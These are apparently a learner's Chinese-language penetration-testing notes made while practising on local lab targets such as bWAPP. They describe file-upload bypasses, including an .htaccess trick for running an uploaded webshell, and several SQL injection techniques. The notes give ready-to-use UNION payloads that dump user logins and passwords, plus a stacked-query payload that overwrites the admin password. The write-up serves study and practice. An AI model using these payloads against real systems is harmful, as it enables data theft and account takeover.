渗透工具
1.burpsuite
2.curl
3.postman
4.wappalyzer
5.hackbar
docker容器安装
docker下载地址
因为可能是win10 安装好docker desktop 运行后会报错然后闪退,经过查询很多资料,将win10 升级成wl2 安装了Windows下的Linux分发版,即可正常运行docker
在win10 上安装wsl和下载Linux内核

BWAPP容器安装成功

文件上传漏洞

打开中国菜刀


文件上传绕过



为什么php3可以但是php30 不行,我们去看Apache配置文件
docker container list -a
docker exec -it 1de0abcbea4e bash
cd /etc/apache2
vim apache2.conf
cd mods-enabled/
vim php5.conf


IIS 5.X到6.0漏洞
第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
例如创建目录 wooyun.asp,那么/wooyun.asp/1.jpg将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。
第二种,在IIS6.0下,分号后面的不被解析,也就是说wooyun.asp;.jpg
会被服务器看成是wooyun.asp
Nginx-解析漏洞
由于Nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://liuwx.cn/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。
Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 wooyun.php.owf.rar “.owf”和”.rar”?这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
前端验证绕过
很多网站、CMS 都有使用,只在前端利用 JavaScript 来做校验。
漏洞利用流程(两种方法都可以):
- 通过Burp Suite抓包,然后修改内容后放行。
- 通过Chrome禁止/删除JavaScript代码。
.htaccess绕过
什么是.htaccess?
.htaccess文件(分布式配置文件)提供了一种方式,使得配置文件可以随文件夹不同而不同,其所放置的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。
如何利用.htaccess?
场景:启用了.htaccess文件的网站,使用此文件类型来绕过限制较全面的黑名单过滤
- 上传一个.htaccess文件,文件内容设置为【AddType application/x-httpd-php .test】。
- 上传一句话木马文件,文件名设置为shell.test。
- 在浏览器中访问shell.test即可执行一句话木马。
大小写绕过
这是一种比较简单的绕过方式,同样针对黑名单。
如果我们想上传一个php木马,那么我们可以上传一个pHp即可。
Windows 文件流特性绕过
什么是Windows文件流?
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名
的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的
未命名文件流一致,甚至可以用来启动程序。
我们来用Windows平台做一些测试:
- Echo 111 > test.txt:111.txt;
- Echo test > test.txt;
- Echo 222 > test.txt::$data;
%00截断绕过

文件头检测绕过

绕过类型总结
1.Content-Type绕过
2.前端绕过
3.文件解析规则绕过
4.Windows环境特性绕过
5.大小写/双写/点空格/文件头/条件竞争绕过…
Fuzz Testing
模糊测试,使用burp就相当于密码爆破(个人理解)
SQL注入
是发生于应用程序与数据库层的安全漏洞。
网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。
我们在提交网页内容时候,主要分为GET方法,POST方法,GET方法提交的内容会显现
在网页URL上,通过对URL连接进行构造,可以获得超出权限的信息内容。
SQL Injection (GET/Search)
-
判断是否存在注入点

-
判断字段个数
t' union select 1,2,3,4,5,6,7 -- '

4. 查找用户名,数据库名字,版本号
t' union select 1,user(),database(),4,version(),6,7 -- '

5. 查看有哪些表
t' union select 1,table_name,database(),4,version(),6,7 from information_schema.tables where table_schema=database() -- '

6.查看表数据
t'union select 1,column_name,database(),4,version(),6,7 from information_schema.columns where table.name='users' -- '

7.查看表数据
t'union select 1,login,password,4,version(),6,7 from users -- '

SQL Injection (POST/Select)
该bwapp靶场是通过docker安装在本地的 所以一般来讲burp抓不到本地包,也就是抓不到127.0.0.1 和localhost 这里不建议Google解决方法,本人尝试了Google上的几乎所有方法,花费了一下午的时间没有解决。在这里推荐一个浏览器插件给大家,能很好的解决burp抓本地包的问题。
Proxy SwitchyOmega
很好用的浏览器代理自动配置软件

上面配置成burp相同的地址和端口。下面方框的不代理地址列表删除127.0.0.1和localhost

在localhost下选择你自己设置的proxy即可。

2.获取表名
movie=11 union select 1,2,group_concat(user()),database(),5,6,7 from information_schema.tables where table_schema=database() -- ' &action=go

其中 group_concat() 函数将组中的字符串连接成为具有各种选项的单个字符串。
3.获取users的列名
movie=11 union select user(),table_name,group_concat(column_name),database(),5,6,7 from information_schema.columns where table_name='users' -- ' &action=go

4.获取数据
movie=11 union select user(),2,group_concat(login),database(),group_concat(password),6,7 from users -- ' &action=go

判断SQL注入点
1.经典的单引号判断法
http://xxx/test.php?id=1’
如果页面返回错误,则存在 SQL 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
2.判断注入类型
通常SQL注入分为两种:数字型 + 字符型
数字型:
通常语句类型为 select * from <表名> where id = x
我们通常构造and 1=1以及and 1=2来判断
字符型:
通常语句类型为select * from <表名> where id = ‘x’
我们通常构造and ‘1’='1以及and ‘1’='2来判断
SQL注入的类型
1. Boolean-based blind SQL injection(布尔型注入)
http://test.com/view?id=1 and substring(version(),1,1)=5
如果服务端MySQL版本是5.X的话,那么页面返回的内容就会跟
正常请求一样。
3. UNION query SQL injection(可联合查询注入)
http://test.com/view?id=1 UNION ALL SELECT SCHEMA_NAME
FROM INFORMATION_SCHEMA.SCHEMATA
最快捷的方法,通过UNION查询获取到所有想要的数据,前提是请求
返回后能输出SQL执行后查询到的所有内容。
5. Time-based blind SQL injection(基于时间延迟注入)
select * from user where id= ‘4’ and sleep(3)
页面不会返回错误信息,不会输出UNION注入所查出来的泄露的信息。
类似搜索这类请求,boolean注入也无能为力,因为搜索返回空也属
于正常的,这时就得采用time-based的注入了,即判断请求响应的时
间,但该类型注入获取信息的速度比较慢,请求次数比较多,纯手工
非常复杂。
6. Error-based SQL injection(报错型注入)
如果页面能够输出SQL报错信息,则可以从报错信息中获得想要的信
息。
典型的就是利用group by的duplicate entry错误。
7. Stacked queries SQL injection(可多语句查询注入)
http://test.com/view?id=1;update t set name = ‘a‘ where id=1
能够执行多条查询语句,非常危险,因为这意味着能够对数据库直接
做更新操作。
时间盲注
通过注入特定语句,根据对页面请求的物理反馈,来判断是否
注入成功,如: 在SQL语句中使用sleep() 函数看加载网页的
时间来判断注入点。
适用场景:通常是无法从显示页面上获取执行结果,甚至连注
入语句是否执行都无从得知。
select * from user where id= ‘ ?’
? 用户输入,替代为 4’ and sleep(3) – ‘
实际上执行的SQL语句:
select * from user where id= ‘4’ and sleep(3) – ‘’
当id=4存在时,休眠3秒 当id=4不存在时,直接返回
整条拼接出来的SQL是正确的就执行最后的sleep,前面错误(不存在),sleep(3)不执行。
时间盲注常用函数
substr(a,b,c):从b位置开始,截取字符串a的c长度
count():计算总数
ascii():返回字符的ASCII码
length():返回字符串的长度
left(a,b):从左往右截取字符串a的前b个字符
sleep(n):将程序挂起n秒
示例:

HTTP头注入
针对HTTP的请求头,如果不加以过滤或者转义,在直接与数据库交
互的过程中容易被利用进行SQL注入攻击,即HTTP头注入。
常见场景:
访问Web Server时,Web Server会从HTTP Header中取出浏览器信
息、IP地址、HOST信息等存储到数据库中。
SQL Injection - Stored (User-Agent)
111 ' , (select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1));

报错注入(Error based Injection)
一种 SQL 注入的类型,用于使 SQL 语句报错的语法,用于注入结果无回显
但错误信息有输出的情况。
返回的错误信息即是攻击者需要的信息。
MySQL 的报错注入主要是利用 MySQL 的一些逻辑漏洞,如 BigInt 大数
溢出等,由此可以将 MySQL 报错注入主要分为以下几类:
- BigInt 等数据类型溢出;
- Xpath 语法错误;
- count() + rand() + group_by() 导致重复;
- 空间数据类型函数错误。
很多函数会导致 MySQL 报错并显示出数据:
- floor 函数;
- extractvalue 函数;(最多32字符)
- updatexml 函数;
- exp() 函数;
堆叠注入
一堆 SQL 语句(多条)一起执行。
在 MySQL 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们
就想到了是不是可以多句一起使用。
这个叫做 stacked injection。
我们就可以使用堆叠注入,对admin账户的password进行更新。
http://127.0.0.1:81/vulnerabilities/sqli/?id=1'; update users set
password=e10adc3949ba59abbe56e057f20f883e' where user_id=1; -
- &Submit=Submit
成功登录之后再进行复原。
混淆及绕过

普通的注入方式过于明显,很容易被检测。
因此,需要改变攻击的手法,绕过检测和过滤,即混淆和绕过。
具体操作针对于服务端和 WAF 的防御机制有多种手段。
、